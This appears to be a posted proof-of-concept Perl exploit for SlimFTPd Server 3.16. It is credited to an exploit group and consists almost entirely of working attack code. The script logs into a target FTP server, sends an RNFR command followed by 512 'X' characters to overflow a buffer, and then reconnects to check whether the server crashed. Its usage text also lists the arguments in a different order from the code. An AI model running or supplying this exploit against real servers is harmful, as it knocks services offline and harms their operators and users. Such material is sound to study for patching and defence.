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Affected version: 3.16
Bug found by Raphaël Rigo
PoC exploit for demonstration
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*#!/usr/bin/perl*

/# --------------------------------------------------- #/
/# 47slimftpd_bof.pl - PoC exploit for SlimFTPd Server #/
/# version 3.16                                        #/
/# bug found by ml-bugtraq@twilight-hall.net           #/
/#                                                     #/
/# coded by k0r0l from acolytez team                   #/
/# visit http://acolytez.com for details               #/
/# --------------------------------------------------- #/

*use* Net::FTP;

/# geting data/
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

/# ===========/

*if* (($host) && ($port)) {
  
  /# make exploit string/
  $exploit_string = *"*RNFR *"*;
   $exploit_string .= *"*X*"*x512;
  /#  ===================/
  
  print *"*Trying to connect to $host:$port\n*"*;    
  $sock = Net::FTP->new(*"*$host*"*,Port => $port, TimeOut => 30, Debug => $debug) *or* die *"*[-] Connection failed\n*"*; 
  print *"*[+] Connect OK!\n*"*;
  print *"*Logging...\n*"*;
  *if* (!$user) {
    $user = *"*anonymous*"*;
    $pass = *"*ftp@ftp.com*"*;
  }
  $sock->login($user, $pass);
  $answer = $sock->message;
  print *"*Sending string...\n*"*;
  $sock->quot($exploit_string);
  print *"*Server $host may be down. Checking...\n*"*;
  $sock = Net::FTP->new(*"*$host*"*,Port => $port, TimeOut => 30, Debug => $debug) *or* die *"*[-] Connection failed\n*"*; 
  *if* ($sock) {print *"*[-] Exploit failed.\n*"*;} *else* {print *"*[+] Server crashed!\n*"*;}
  
  
} *else* {
  print *"*SlimFTPd Server - PoC Exploit\nhttp://AcolyteZ.com\n\nUsing: $0 host port username password [debug: 1 or 0]\n\n*"*;
} 


-- 
+################################+
# Dim K0r0l (dim@acolytez.com)   #
#                                #
# http://AcolyteZ.com            #
# Net-security, coding, soft etc #
+################################+